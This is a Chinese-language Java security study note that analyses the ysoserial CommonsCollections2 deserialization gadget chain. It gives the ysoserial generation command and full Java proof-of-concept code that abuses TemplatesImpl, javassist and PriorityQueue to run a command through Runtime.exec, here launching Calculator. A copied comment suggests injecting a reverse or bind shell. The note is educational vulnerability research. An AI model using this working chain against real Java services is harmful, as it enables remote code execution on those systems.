Java代码审计学习笔记之ysoserial分析(三、CommonsCollections2利用链)

1.CommonsCollections2利用链测试

这个利用链需要的commons-collections版本为commons-collections4:4.0。mvn如下:

        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>

1.生成反序列化数据

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "/Applications/Calculator.app/Contents/MacOS/Calculator" > CC2Test.bin

2.使用如下代码对序列化数据进行反序列化

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("CC2Test.bin"));
        objectInputStream.readObject();
    }

命令正常执行,计算器程序被运行。

2.CommonsCollections2利用链分析

也是个很长的利用链,ysoserial里把很多常用的方法都进行了封装。代码依旧很长,核心类主要包含一下几个部分:

  • javassist
  • TemplatesImpl
  • PriorityQueue

以下对这几部分分别进行解读学习。

2.1 javassist

java的类或者接口经过编译后存储在class文件中,文件中保存的就是所谓的字节码。Javaassist就是一个用来处理字节码的类,使用该类可以在一个已编译好的类中添加或修改已有的方法/属性。并且可以将修改后的class再转换成二进制码用于存储。

我们以如下代码为例,测试一下javassist的使用:

import java.io.*;
import java.lang.reflect.InvocationTargetException;
import javassist.*;
import javax.xml.transform.TransformerConfigurationException;


public class TestJavassist {
    public static class test{
        public test(){
            System.out.println("hhahah");
        }
    }
    public static class myClassLoader extends ClassLoader{
        public Class<?> Loader(String name, byte[] b, int off, int len){
            return defineClass(null, b, 0, b.length);
        }
    }
    public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException, TransformerConfigurationException, NoSuchMethodException, InvocationTargetException {
        ClassPool pool = ClassPool.getDefault();//获取到的ClassPool以键值对形式存储着当前环境下的class
        final CtClass clazz = pool.get(test.class.getName());//获取test类对应的CtClass
        final byte[] classBytes = clazz.toBytecode();//这就是我们通过字节码操作得到的一个class转换的ByteCode
        myClassLoader loader = new myClassLoader();//利用classLoader从字节码加载class
        loader.Loader(null,classBytes, 0, classBytes.length).newInstance();//实例化class会自动调用类的初始化方法
    }
}

这里利用javassist,将一个自定义的类test转换成了二进制码,并通过java.lang.ClassLoaderdefineClass方法从二进制码中加载了test类。对二进制类实例化时,将会调用test类的构造方法。运行结果如下:

可以看到这里正常执行了test类的构造方法。那么如果我们在test构造方法中调用Runtime.getRuntime.exec()显然就可以执行系统命令。那么假如某个类中,如果使用了上面这种方法动态创建实例,并且类的二进制码我们可以控制,那么在他创建实例的时候就会执行任意代码。这里作者用到的类就是TemplatesImpl

2.2 TemplatesImpl

该类保存于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl。该类中当调用newTransformer方法时将会触发上述从字节码实例化一个类的过程。该方法代码如下:

    public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(
            getTransletInstance(), //从字节码实例化一个类
            _outputProperties,
            _indentNumber, _tfactory
        );
    ...省略...
        return transformer;
    }

newTransformer方法中将会调用getTransletInstance方法来获得一个TransletgetTransletInstance方法代码如下:

    private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;//_name不能为null
            if (_class == null) defineTransletClasses();//_class不为null,调用defineTransletClasses
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();//实例化一个_class[_transletIndex]
            ...省略...
            return translet;
        }
        ...省略...
    }

getTransletInstance()中调用defineTransletClasses()来获取一个类的class,然后紧接着调用newInstance来对获取的类实例化。当然要完成以上流程必须要有如下条件:

  • _name != null
  • _class == null

真正从字节码中获取类的代码就保存在defineTransletClasses()中,其代码如下:

    private void defineTransletClasses()
        throws TransformerConfigurationException {

        if (_bytecodes == null) {//_bytecodes不能为null否则抛出异常
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }

        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });//获取classLoader,这里调用了_tfactory.getExternalExtensionsMap(),因此我们也需要设置一个TransformerFactoryImpl的_tfactory参数,否则将会抛出异常

        try {
            final int classCount = _bytecodes.length;//获取_bytecodes
            _class = new Class[classCount];//获取对应__class

            if (classCount > 1) {
                _auxClasses = new HashMap<>();
            }

            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);//从_bytecodes[i]中加载类
                final Class superClass = _class[i].getSuperclass();//获取该类的父类

                // Check if this is the main class
                //    private static String ABSTRACT_TRANSLET
         //ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {//父类必须是AbstractTranslet
                    _transletIndex = i;//保存索引
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);//保存类
                }
            }

            if (_transletIndex < 0) {//可以看到如果我们传入的_bytecodes[i]父类不是AbstractTranslet则_transletIndex将不会修改为i,而其初始值是-1,也会抛出异常
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
        ...省略...
    }

可以看到,该函数中将会从_bytecodes[i]中读取字节码,并使用defineClass获取类。如果我们传入一个byte[][]作为_bytecodes,在byte[0]存入恶意的类(并保证该类父类是AbstractTranslet)。则获取到的类会保存在_class[0],并且_transletIndex将会等于0。由于之前getTransletInstanceAbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();实例化的就是_class[_transletIndex],因此我们需要保证_transletIndex指向我们的恶意类,而方法就是设置恶意类的父类为AbstractTranslet

至此我们得到如下结论,真正要想实例化一个恶意类,我们需要对TemplatesImpl实例设置如下:

  • _name != null (defineTransletClasses得到的条件)
  • _class == null (defineTransletClasses得到的条件)
  • _byte[i]中存放恶意类的二进制码_byte[] (defineTransletClasses得到的条件)
  • 恶意类的父类必须是AbstractTranslet (defineTransletClasses得到的条件)
  • 设置一个TransformerFactoryImpl的_tfactory参数

综上得到一个调用newTransformer就会执行恶意代码的TemplatesImpl代码如下:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.PriorityQueue;

import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.TransformerConfigurationException;


class myClassLoader extends ClassLoader{
    public Class<?> Loader(String name, byte[] b, int off, int len){
        return defineClass(null, b, 0, b.length);
    }
}



public class CC2Test {
    public static class StubTransletPayload extends AbstractTranslet implements Serializable {
        public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}
        @Override
        public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
    }
    public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException, TransformerConfigurationException, NoSuchMethodException, InvocationTargetException {
        String command = "/Applications/Calculator.app/Contents/MacOS/Calculator";
        Class tplClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Class abstTranslet = Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        Class transFactory = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl");

        TemplatesImpl templates = (TemplatesImpl)tplClass.newInstance();//创建一个TemplatesImpl

        //生成class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        // 在静态初始化函数里运行exec执行命令
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");";
        clazz.makeClassInitializer().insertAfter(cmd);//插入类初始化代码,即要执行的恶意代码

        //上面用的这个StubTransletPayload类其实已经继承了AbstractTranslet,因此下面这两行代码不要也可以
        //CtClass superC = pool.get(abstTranslet.getName());
        //clazz.setSuperclass(superC);//设置父类为abstTranslet

        final byte[] classBytes = clazz.toBytecode();//这就是我们通过字节码操作得到的一个class转换的ByteCode




        //设置templates的_bytecodes为上面的classBytes
        Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
        fieldByteCodes.setAccessible(true);
        fieldByteCodes.set(templates, new byte[][]{classBytes});

        //设置templates的_name
        Field filedName = templates.getClass().getDeclaredField("_name");
        filedName.setAccessible(true);
        filedName.set(templates,"Pwnr");

        //设置templates的_tfactory参数
        Field filedtfactory = templates.getClass().getDeclaredField("_tfactory");
        filedtfactory.setAccessible(true);
        filedtfactory.set(templates,transFactory.newInstance());

        templates.newTransformer();//执行newTransformer测试


    }
}

运行将会发现计算器弹出,命令被成功执行。但是我们需要在反序列化时利用该漏洞即需要一个类中的readObject方法可以调用TemplatesImpl类的newTransformer方法。这里作者所用的的类就是java.util.PriorityQueue结合TransformingComparator以及InvokerTransformer

2.3 PriorityQueue

PriorityQueue从名字看,优先队列,显然是一个可以自动排序的有序队列。这个类支持自定义排序时用的比较方法。并且在反序列化时该类会自动对元素进行排序,其readObject方法代码如下:

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();
        // Read in (and discard) array length
        s.readInt();
        SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
        queue = new Object[size];
        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();
        //上面的代码主要是读取每一个元素并进行反序列化
        heapify();//进入该函数开始排序
    }

函数中调用了heapify()方法进行排序。该方法代码如下:

    private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

其中调用了siftDown方法,代码如下:

    private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

即如果设置了comparator则调用siftDownUsingComparator,我们跟进siftDownUsingComparator,代码如下:

    private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)//调用comparator.compare
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

可以看到,在比较的过程中,该函数调用了comparator.compare。而comparator作者这里使用了TransformingComparator,它的compare方法如下:

    public int compare(I obj1, I obj2) {
        O value1 = this.transformer.transform(obj1);
        O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

可以看到非常熟悉的代码,transformer.transform。这跟前面CC1的利用方法完全相同。我们只需要设置这里的transformer.transformInvokerTransformer,函数执行的方法为newTransformer即可在PriorityQueue的元素中执行newTransformer方法,如果PriorityQueue中的元素为前面我们生成的恶意TemplatesImpl类,那么显然命令将会被执行。

最终我们得到的代码如下:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;

import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.TransformerConfigurationException;


class myClassLoader extends ClassLoader{
    public Class<?> Loader(String name, byte[] b, int off, int len){
        return defineClass(null, b, 0, b.length);
    }
}



public class CC2Test {
    public static class StubTransletPayload extends AbstractTranslet implements Serializable {
        public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}
        @Override
        public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
    }
    public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException, TransformerConfigurationException, NoSuchMethodException, InvocationTargetException {
        String command = "/Applications/Calculator.app/Contents/MacOS/Calculator";
        Class tplClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Class abstTranslet = Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        Class transFactory = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl");

        TemplatesImpl templates = (TemplatesImpl)tplClass.newInstance();//创建一个TemplatesImpl

        //生成class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        // 在静态初始化函数里运行exec执行命令
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");";
        clazz.makeClassInitializer().insertAfter(cmd);//插入类初始化代码,即要执行的恶意代码

        //上面用的这个StubTransletPayload类其实已经继承了AbstractTranslet,因此下面这两行代码不要也可以
        //CtClass superC = pool.get(abstTranslet.getName());
        //clazz.setSuperclass(superC);//设置父类为abstTranslet

        final byte[] classBytes = clazz.toBytecode();//这就是我们通过字节码操作得到的一个class转换的ByteCode




        //设置templates的_bytecodes为上面的classBytes
        Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
        fieldByteCodes.setAccessible(true);
        fieldByteCodes.set(templates, new byte[][]{classBytes});

        //设置templates的_name
        Field filedName = templates.getClass().getDeclaredField("_name");
        filedName.setAccessible(true);
        filedName.set(templates,"Pwnr");

        //设置templates的_tfactory参数
        Field filedtfactory = templates.getClass().getDeclaredField("_tfactory");
        filedtfactory.setAccessible(true);
        filedtfactory.set(templates,transFactory.newInstance());

        final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
        //这里要注意InvokerTransformer的方法先设置成toString并不是闲得慌,因为queue.add的时候也会调用这个方法


        // 创建一个queue并设置用于排序的比较类为transformer
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
        // 随便填充两个数据
        queue.add(1);
        queue.add(1);

        // 修改transformer的iMethodName为newTransformer
        Field filediMethodName = transformer.getClass().getDeclaredField("iMethodName");
        filediMethodName.setAccessible(true);
        filediMethodName.set(transformer,"newTransformer");

        //修改queue的第一个元素为templates
        Field fieldQueueArray = queue.getClass().getDeclaredField("queue");
        fieldQueueArray.setAccessible(true);
        Object[] queueArray = (Object[])fieldQueueArray.get(queue);
        queueArray[0] = templates;

        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream obj = new ObjectOutputStream(baos);
        obj.writeObject(queue);

        //反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream obji = new ObjectInputStream(bais);
        obji.readObject();
    }
}